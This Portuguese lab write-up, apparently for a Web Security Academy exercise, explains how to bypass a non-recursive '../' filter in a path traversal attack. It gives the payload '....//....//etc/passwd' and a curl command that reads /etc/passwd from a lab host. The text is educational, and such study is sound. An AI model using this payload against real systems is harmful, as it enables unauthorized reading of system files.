> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/path-traversal/file-path-traversal-traversal-sequences-removed-without-recursive-processing.md).
# Travessia de caminho de arquivo: sequências de travessia removidas sem processamento recursivo
### Travessia de caminho de arquivo, sequências de travessia removidas não recursivamente
Um payload funcional, portanto, usa sequências como:
Como o código remove `../` ocorrências diretamente, é possível contornar esse mecanismo ao **duplicando os pontos e barras**. Quando a sequência filtrada é removida, sempre sobra uma parte aproveitável dela.
O objetivo é recuperar o conteúdo do **/etc/passwd** arquivo.
A aplicação remove as sequências de travessia (`../`) fornecidas pelo usuário, mas faz isso **não recursivamente**.
```bash
....//....//....//....//etc/passwd
```
Exemplo com **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ae0005c04ab83ac82531f6d002300a2.web-security-academy.net/image?filename=....//....//....//....//....//etc/passwd'
```
{% endcode %}
---
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